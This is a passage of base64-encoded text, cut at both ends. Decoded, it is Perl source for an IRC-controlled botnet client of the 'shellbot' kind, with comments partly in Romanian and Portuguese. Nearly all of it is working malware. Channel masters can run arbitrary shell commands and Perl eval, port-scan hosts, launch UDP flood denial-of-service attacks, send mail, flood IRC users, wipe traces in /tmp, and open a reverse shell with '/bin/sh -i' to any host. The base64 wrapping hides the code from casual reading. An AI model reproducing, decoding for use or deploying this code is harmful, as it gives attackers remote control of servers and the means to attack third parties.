iAgICAgICAgICAgICAgICRsaW5lX3RlbXAgPSAkbGluZTsNCiAgICAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgIH0NCiAgIH0NCn0NCg0Kc3ViIHBhcnNlIHsNCiAgIG15ICRzZXJ2YXJnID0gc2hpZnQ7DQogICBpZiAoJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsNCiAgICAgc2VuZHJhdygiUE9ORyA6JDEiKTsNCiAgIH0gZWxzaWYgKCRzZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pIFBSSVZNU0cgKC4rPykgXDooLispLykgew0KICAgICAgIG15ICRwbj0kMTsgbXkgJGhvc3RuYW0zPSQzOyBteSAkb25kZSA9ICQ0OyBteSAkYXJncyA9ICQ1Ow0KICAgICAgIGlmICgkYXJncyA9fiAvXlwwMDFWRVJTSU9OXDAwMSQvKSB7DQogICAgICAgICBub3RpY2UoIiRwbiIsICIiLiRNcnguIiIpOw0KICAgICAgIH0NCiAgICAgICBlbHNpZiAoJGFyZ3MgPX4gL15cMDAxUElOR1xzKyhcZCspXDAwMSQvKSB7DQogICAgICAgICBub3RpY2UoIiRwbiIsICJcMDAxUE9OR1wwMDEiKTsNCiAgICAgICB9DQogICAgICAgZWxzaWYgKGdyZXAgeyRfID1+IC9eKFxRJHBuXEV8XFEkaG9zdG5hbTNcRSkkL2kgfSBAbWFzdDNycykgew0KICAgICAgICAgaWYgKCRvbmRlIGVxICIkbWV1bmljayIpew0KICAgICAgICAgICBzaGVsbCgiJHBuIiwgIiRhcmdzIik7DQogICAgICAgIH0NCiAgICBpZiAoJGFyZ3MgPX4gL14hKC4qKS8pew0KICAgICAgIGlyY2FzZSgiJHBuIiwiJGNoYW4iLCIkMSIpOw0KICAgIH0NCiAgICAgICAgaWYgKCRhcmdzID1+IC9eKFxRJG1ldW5pY2tcRXxcUSR4ZXF0XEUpXHMrKC4qKS8gKSB7DQogICAgICAgICAgICBteSAkbmF0cml4ID0gJDE7DQogICAgICAgICAgICBteSAkYXJnID0gJDI7DQogICAgICAgICAgICBpZiAoJGFyZyA9fiAvXlwhKC4qKS8pIHsNCiAgICAgICAgICAgICAgaXJjYXNlKCIkcG4iLCIkb25kZSIsIiQxIik7DQogICAgICAgICAgICB9IGVsc2lmICgkYXJnID1+IC9eXEAoLiopLykgew0KICAgICAgICAgICAgICAgICRvbmRlcCA9ICRvbmRlOw0KICAgICAgICAgICAgICAgICRvbmRlcCA9ICRwbiBpZiAkb25kZSBlcSAkbWV1bmljazsNCiAgICAgICAgICAgICAgICBiZnVuYygiJG9uZGVwIiwiJDEiKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc2hlbGwoIiRvbmRlIiwgIiRhcmciKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICB9DQogICB9IGVsc2lmICgkc2VydmFyZyA9fiAvXlw6KC4rPylcISguKz8pXEAoLis/KVxzK05JQ0tccytcOihcUyspL2kpIHsNCiAgICAgICBpZiAobGMoJDEpIGVxIGxjKCRtZXVuaWNrKSkgew0KICAgICAgICAgJG1ldW5pY2s9JDQ7DQogICAgICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogICAgICAgfQ0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzQzMy9pKSB7DQogICAgICAgJG1ldW5pY2sgPSBnZXRuaWNrKCk7DQogICAgICAgbmljaygiIi4kbWV1bmljay4iLSIpOw0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzAwMVxzKyhcUyspXHMvaSkgew0KICAgICAgICRtZXVuaWNrID0gJDI7DQogICAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOw0KICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydub21lJ30gPSAiJDEiOw0KICAgICAgIGZvcmVhY2ggbXkgJGNhbmFsIChAYWRtY2hhbil7DQogICAgICAgICBzZW5kcmF3KCJKT0lOICRjYW5hbCAyMDZ4c3MiKTsNCiAgICAgICB9DQogICB9DQp9DQpzdWIgYmZ1bmMgew0KICBteSAkcHJpbnRsID0gJF9bMF07DQogIG15ICRmdW5jYXJnID0gJF9bMV07DQogIGlmIChteSAkcGlkID0gZm9yaykgew0KICAgICB3YWl0cGlkKCRwaWQsIDApOw0KICB9IGVsc2Ugew0KICAgICAgaWYgKGZvcmspDQogICAgICAgew0KICAgICAgICAgZXhpdDsNCiAgICAgICB9DQogICBlbHNlDQogICB7DQogICANCiAgICAgICMgU2NhbmFyZSBwb3J0dXJpIHByZWRlZmluaXRlDQogICAgICAgICAgIGlmICgkZnVuY2FyZyA9fiAvXnBzICguKikvKSB7DQogICAgICAgICAgICAgbXkgJGhvc3RpcD0iJDEiOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMlwwMDMxMlBvcnRzY2FubmluZ1wwMDNcMDAyOiAkMSBcMDAyXDAwMzEyUG9ydHM6XDAwM1wwMDIgZGVmYXVsdCIpOw0KICAgICAgICAgICAgIG15IChAYWJlcnRhLCAlcG9ydGFfYmFubmVyKTsNCiAgICAgICAgICAgICBmb3JlYWNoIG15ICRwb3J0YSAoQHBvcnRhcykgIHsNCiAgICAgICAgICAgICAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RpcCwgUGVlclBvcnQgPT4gJHBvcnRhLCBQcm90byA9PiAndGNwJywgVGltZW91dCA9PiAkcG9ydGltZSk7DQogICAgICAgICAgICAgICAgaWYgKCRzY2Fuc29jaykgew0KICAgICAgICAgICAgICAgICAgIHB1c2ggKEBhYmVydGEsICRwb3J0YSk7DQogICAgICAgICAgICAgICAgICAgJHNjYW5zb2NrLT5jbG9zZTsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpGb3VuZDogJHBvcnRhIi4iL09wZW4iKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIGlmIChAYWJlcnRhKSB7DQogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6UG9ydCBTY2FuIENvbXBsZXRlIHdpdGggdGFyZ2V0OiAkMSAiKTsNCiAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW3hdXDAwMzQgTm8gb3BlbiBwb3J0cyBmb3VuZCBvblwwMDIgJDEiKTsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICMgTk1BUCwgbG9sDQogICAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXm5tYXBccysoLiopXHMrKFxkKylccysoXGQrKS8pDQogICAgICB7DQogICAgICAgICAgICAgIG15ICRob3N0bmFtZT0iJDEiOw0KICAgICAgICAgICAgICBteSAkcG9ydHN0YXJ0ID0gIiQyIjsNCiAgICAgICAgICAgICAgIG15ICRwb3J0ZW5kID0gIiQzIjsNCiAgICAgICAgICAgICAgIG15IChAYWJlcnRhcywgJXBvcnRhX2Jhbm5lcik7DQogICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTJ4TWFwIFBvcnRzY2FubmluZ1wwMDNcMDAyOiAkMSBcMDAyXDAwMzEyUG9ydHM6XDAwM1wwMDIgJDItJDMiKTsNCiAgICAgICAgICAgICAgIGZvcmVhY2ggbXkgJHBvcnRhICgkcG9ydHN0YXJ0Li4kcG9ydGVuZCkNCiAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RuYW1lLCBQZWVyUG9ydCA9PiAkcG9ydGEsIFByb3RvID0+ICd0Y3AnLCBUaW1lb3V0ID0+ICRwb3J0aW1lKTsNCiAgICAgICAgICAgICAgIGlmICgkc2NhbnNvY2spIHsNCiAgICAgICAgICAgICAgICAgcHVzaCAoQGFiZXJ0YXMsICRwb3J0YSk7DQogICAgICAgICAgICAgICAgICRzY2Fuc29jay0+Y2xvc2U7DQogICAgICAgICAgICAgICAgIGlmICgkeHN0YXRzKQ0KICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6Rm91bmQ6ICRwb3J0YSIuIi9PcGVuIik7DQogICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICB9DQogICAgICAgICAgICAgaWYgKEBhYmVydGFzKSB7DQogICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTJTY2FuIENvbXBsYXRlXDAwM1wwMDIiKTsNCiAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsIlBSSVZNU0cgJHByaW50bCA6XDAwMlwwMDMxMk5vIHBvcnRzIGZvdW5kLi5cMDAyIik7DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgIyBSZW1vdmUNCiAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXnJtLykNCiAgICAgIHsNCiAgICAgICAgIHN5c3RlbSgiY2QgL3Zhci90bXAgOyBybSAtcmYgLm1yeCA7IHJtIC1yZiBhbGV4LnR4dCA7IHJtIC1yZiBhbGV4LnR4dC4qIHZ4KiBtcngqIik7DQogICAgICBzeXN0ZW0oImNkIC90bXAgOyBybSAtcmYgLm1yeCA7IHJtIC1yZiBhbGV4LnR4dCA7IHJtIC1yZiBhbGV4LiogOyBta2RpciAvdG1wLy5tcnggOyBjZCAvdG1wLy5tcngiKTsNCiAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKFF1aWNrZGVsKVwwMDJcMDAzMTQgUmVtb3ZlZCBmaWxlcyBhbmQgZm9sZGVycyAiKTsNCiAgICAgIH0NCiAgICAgICMgVmVyc2lvbg0KICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9ec3lzdGVtLykNCiAgICAgIHsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKFZlcnNpb24pXDAwMlwwMDMxNCAkdmVyc2lvbiAiKTsNCiAgICAgIH0NCiAgICAgICMgRG93bmxvYWQNCiAgICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eZG93blxzKyguKilccysoLiopLykNCiAgICAgIHsNCiAgICAgICAgICAgICAgZ2V0c3RvcmUoIiQxIiwgIiQyIik7DQogICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKERvd25sb2FkKVwwMDJcMDAzMTQgUGFnZTogJDIgKEZpbGU6ICQxKSIpIGlmICgkeHN0YXRzKTsNCiAgICAgICAgICAgfQ0KICAgICAgICMgVWRwDQogICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL151ZHBccysoLiopXHMrKFxkKylccysoXGQrKS8pIHsNCiAgICAgICAgICAgICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsNCiAgICAgICAgICAgICAgc29ja2V0KFRyMHgsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KTsNCiAgICAgICAgICAgICAgbXkgJGFsdm89aW5ldF9hdG9uKCIkMSIpOw0KICAgICAgICAgICAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgICAgICAgICAgICBteSAkdGVtcG8gPSAiJDMiOw0KICAgICAgICAgICAgICBteSAkcGFjb3RlOw0KICAgICAgICAgICAgICBteSAkcGFjb3Rlc2U7DQogICAgICAgICAgICAgIG15ICRmaW0gPSB0aW1lICsgJHRlbXBvOw0KICAgICAgICAgICAgICBteSAkcGFjb3RhID0gMTsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKFVEUCBERG9TaW5nKVwwMDMgQXR0YWNraW5nXDAwMjogJDEgLSBcMDAyVGltZVwwMDI6ICR0ZW1wbyIuInNlY29uZHMiKTsNCiAgICAgICAgICAgICAgd2hpbGUgKCgkcGFjb3RhID09ICIxIikgJiYgKCRwYWNvdGVzID09ICIxIikpIHsNCiAgICAgICAgICAgICAgICAkcGFjb3RhID0gMCBpZiAoKHRpbWUgPj0gJGZpbSkgJiYgKCR0ZW1wbyAhPSAiMCIpKTsNCiAgICAgICAgICAgICAgICAkcGFjb3RlPSRyYW5kIHggJHJhbmQgeCAkcmFuZDsNCiAgICAgICAgICAgICAgICAkcG9ydGEgPSBpbnQocmFuZCA2NTAwMCkgKzEgaWYgKCRwb3J0YSA9PSAiMCIpOw0KICAgICAgICAgICAgICAgIHNlbmQoVHIweCwgMCwgJHBhY290ZSwgc29ja2FkZHJfaW4oJHBvcnRhLCAkYWx2bykpIGFuZCAkcGFjb3Rlc2UrKyBpZiAoJHBhY290ZXMgPT0gIjEiKTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICBpZiAoJHhzdGF0cykNCiAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTIoVURQIENvbXBsZXRlKTpcMDAzXDAwMiAkMSAtIFwwMDJTZW5kdFwwMDI6ICRwYWNvdGVzZSIuImtiIC0gXDAwMlRpbWVcMDAyOiAkdGVtcG8iLiJzZWNvbmRzIik7DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJDQoJICAgIyBNYWlsDQoJICAgDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15tYWlsXHMrKC4qKVxzKyguKilccysoLiopXHMrKC4qKS8pIHsNCgkJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTIgVHJpbWl0IG1haWwgY2F0cmUgOiAkMyIpOw0KCQkJJHN1YmplY3QgPSAkMTsNCgkJCSRzZW5kZXIgPSAkMjsNCgkJCSRyZWNpcGllbnQgPSAkMzsNCgkJCUBjb3JwbyA9ICQ0Ow0KCQkJJG1haWx0eXBlID0gImNvbnRlbnQtdHlwZTogdGV4dC9odG1sIjsNCgkJCSRzZW5kbWFpbCA9ICcvdXNyL3NiaW4vc2VuZG1haWwnOw0KCQkJb3BlbiAoU0VORE1BSUwsICJ8ICRzZW5kbWFpbCAtdCIpOw0KCQkJcHJpbnQgU0VORE1BSUwgIiRtYWlsdHlwZVxuIjsNCgkJCXByaW50IFNFTkRNQUlMICJTdWJqZWN0OiAkc3ViamVjdFxuIjsNCgkJCXByaW50IFNFTkRNQUlMICJGcm9tOiAkc2VuZGVyXG4iOw0KCQkJcHJpbnQgU0VORE1BSUwgIlRvOiAkcmVjaXBpZW50XG5cbiI7DQoJCQlwcmludCBTRU5ETUFJTCAiQGNvcnBvXG5cbiI7DQoJCQljbG9zZSAoU0VORE1BSUwpOw0KCQkJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTIgTWFpbCB0cmltaXMgbGEgOiAkcmVjaXBpZW50Iik7DQoJCQl9DQoJCQ0KCSAgICMgTWF4aUZsb29kDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15tYXhpZmxvb2QoLiopLykgew0KCQlmb3IoJGk9MDsgJGk8PTE1OyAkaSs9MSl7DQoJCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiTk9USUNFICIuJDEuIiA6bG9vb29vbCBhaGF1YWhhdWhhdSB0aS1haSBsdWF0byBpbiBjdXIgZ2FvemFyZSBcbiIpOw0KICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICIuJDEuIiA6XDAwMVZFUlNJT05cMDAxXG4iKTsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAiLiQxLiIgOlwwMDFQSU5HXDAwMVxuIik7DQogICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgIi4kMS4iIDpsb29vb29sIGFoYXVhaGF1aGF1IHRpLWFpIGx1YXRvIGluIGN1ciBnYW96YXJlIFxuIik7ICAgICAgICANCiAgIH0NCiAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyIEwtYW0gYXJzIHBlICIuJDEuIiAiKTsNCn0NCg0KCSAgICMgRENDIEZMT09EDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15kY2NmbG9vZCAoLiopLykgew0KICAgZm9yKCRpPTA7ICRpPD0xMDsgJGkrPTEpew0KICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICIuJDEuIiA6XDAwMURDQyBDSEFUIGNoYXQgMTEyMTQ4NTEzMSAxMDI0XDAwMVxuIik7DQogICB9DQogICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMlwwMDMxMiBMLWFtIGFycyBwZSAiLiQxLiIgIik7DQp9ICAgICAgDQoJCQ0KCSAgICMgSVJDDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15qb2luICguKikvKSB7DQogICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIkpPSU4gIi4kMSk7DQogICAgICAgICB9DQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15wYXJ0ICguKikvKSB7DQogICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBBUlQgIi4kMSk7DQogICAgICAgICB9DQoJCSBlbHNpZiAoJGZ1bmNhcmcgPX4gL152b2ljZSAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgK3YgIi4kMSk7DQogICAgICAgICAgIH0NCiAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXmRldm9pY2UgKC4qKS8pIHsNCiAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiTU9ERSAkcHJpbnRsIC12ICIuJDEpOw0KICAgICAgICAgICB9DQogICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15oYWxmb3AgKC4qKS8pIHsNCiAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiTU9ERSAkcHJpbnRsICtoICIuJDEpOw0KICAgICAgICAgICB9DQogICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15kZWhhbGZvcCAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgLWggIi4kMSk7DQogICAgICAgICAgIH0NCiAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXm93bmVyICguKikvKSB7DQogICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIk1PREUgJHByaW50bCArcSAiLiQxKTsNCiAgICAgICAgICAgfQ0KICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eZGVvd25lciAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgLXEgIi4kMSk7DQogICAgICAgICB9DQogICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15vcCAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgK28gIi4kMSk7DQogICAgICAgICAgIH0gICAgICAgIA0KICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eZGVvcCAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgLW8gIi4kMSk7DQogICAgICAgICAgIH0NCgkJIGVsc2lmICgkZnVuY2FyZyA9fiAvXm5pY2sgKC4qKS8pIHsNCiAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAibmljayAiLiQxKTsNCiAgICAgICAgICAgfQ0KICAgICAgICNCYWNrY29ubmVjdA0KICAgICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eYmFja1xzKyguKilccysoXGQrKS8pIHsNCiAgICAgICAgICAgICAgbXkgJGhvc3QgPSAiJDEiOw0KICAgICAgICAgICAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgICAgICAgICAgICBteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7DQogICAgICAgICAgICAgIG15ICRpYWRkciA9IGluZXRfYXRvbigkaG9zdCk7DQogICAgICAgICAgICAgIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKTsNCiAgICAgICAgICAgICAgbXkgJHNoZWxsID0gIi9iaW4vc2ggLWkiOw0KICAgICAgICAgICAgICBpZiAoJF5PIGVxICJNU1dpbjMyIikgew0KICAgICAgICAgICAgICAgICRzaGVsbCA9ICJjbWQuZXhlIjsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICBzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSBvciBkaWUgInNvY2tldDogJCEiOw0KICAgICAgICAgICAgICBjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSBvciBkaWUgImNvbm5lY3Q6ICQhIjsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW3hdIC0+XDAwMzQgSW5qZWN0aW9uIC4uLiIpOw0KICAgICAgICAgICAgICBvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCiAgICAgICAgICAgICAgb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0KICAgICAgICAgICAgICBvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7DQogICAgICAgICAgICAgIHN5c3RlbSgiJHNoZWxsIik7DQogICAgICAgICBzeXN0ZW0oImNkIC90bXAvLm1yeCIpOw0KICAgICAgICAgICAgICBjbG9zZShTVERJTik7DQogICAgICAgICAgICAgIGNsb3NlKFNURE9VVCk7DQogICAgICAgICAgICAgIGNsb3NlKFNUREVSUik7DQogICAgICAgICAgICB9DQogICAgICAgICAgIGV4aXQ7DQogICAgICAgfQ0KICB9DQp9DQoNCnN1YiBpcmNhc2Ugew0KICBteSAoJGtlbSwgJHByaW50bCwgJGNhc2UpID0gQF87DQoNCiAgIGlmICgkY2FzZSA9fiAvXmpvaW4gKC4qKS8pIHsNCiAgICAgaigiJDEiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnBhcnQgKC4qKS8pIHsNCiAgICAgIHAoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15yZWpvaW5ccysoLiopLykgew0KICAgICAgbXkgJGNoYW4gPSAkMTsNCiAgICAgIGlmICgkY2hhbiA9fiAvXihcZCspICguKikvKSB7DQogICAgICAgIGZvciAobXkgJGNhID0gMTsgJGNhIDw9ICQxOyAkY2ErKyApIHsNCiAgICAgICAgICBwKCIkMiIpOw0KICAgICAgICAgIGooIiQyIik7DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7DQogICAgICAgICAgcCgiJGNoYW4iKTsNCiAgICAgICAgICBqKCIkY2hhbiIpOw0KICAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eb3AvKSB7DQogICAgICBvcCgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgIm9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCAzKTsNCiAgICAgIG9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZGVvcC8pIHsNCiAgICAgIGRlb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJkZW9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCA1KTsNCiAgICAgIGRlb3AoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL152b2ljZS8pIHsNCiAgICAgIHZvaWNlKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAidm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDYpOw0KICAgICAgdm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15kZXZvaWNlLykgew0KICAgICAgZGV2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgImRldm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDgpOw0KICAgICAgZGV2b2ljZSgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXm1zZ1xzKyhcUyspICguKikvKSB7DQogICAgICBtc2coIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15mbG9vZFxzKyhcZCspXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykgew0KICAgICAgICBtc2coIiQyIiwgIiQzIik7DQogICAgICB9DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsNCiAgICAgICAgY3RjcCgiJDIiLCAiJDMiKTsNCiAgICAgIH0NCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmN0Y3BccysoXFMrKSAoLiopLykgew0KICAgICAgY3RjcCgiJDEiLCAiJDIiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmludml0ZVxzKyhcUyspICguKikvKSB7DQogICAgICBpbnZpdGUoIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15uaWNrICguKikvKSB7DQogICAgICBuaWNrKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eanVtcFxzKyhcUyspXHMrKFxTKykvKSB7DQogICAgICAgY29uZWN0YXIoIiQyIiwgIiQxIiwgNjY2Nyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15zZW5kXHMrKFxTKylccysoXFMrKS8pIHsNCiAgICAgIERDQzo6U0VORCgiJDEiLCAiJDIiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnJhdyAoLiopLykgew0KICAgICAgc2VuZHJhdygiJDEiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmV2YWwgKC4qKS8pIHsNCiAgICAgIGV2YWwgIiQxIjsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnJqXHMrKFxTKylccysoXGQrKS8pIHsNCiAgICBzbGVlcCBpbnQocmFuZCgkMikpOw0KICAgIGooIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15ycFxzKyhcUyspXHMrKFxkKykvKSB7DQogICAgc2xlZXAgaW50KHJhbmQoJDIpKTsNCiAgICBwKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecXVpdC8pIHsNCiAgICAgcXVpdCgpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecmFuZC8pIHsNCiAgICBteSAkbm92b25pY2sgPSBnZXRuaWNrKCk7DQogICAgIG5pY2soIiRub3ZvbmljayIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ec3RhdCAoLiopLykgew0KICAgICBpZiAoJDEgZXEgIm9uIikgew0KICAgICAgJHhzdGF0cyA9IDE7DQogICAgICBtc2coIiRwcmludGwiLCAiU2F0dXMgZW5hYmxlZCIpOw0KICAgICB9IGVsc2lmICgkMSBlcSAib2ZmIikgew0KICAgICAgJHhzdGF0cyA9IDA7DQogICAgICBtc2coIiRwcmludGwiLCAiU3RhdHVzIGRpc2FibGUiKTsNC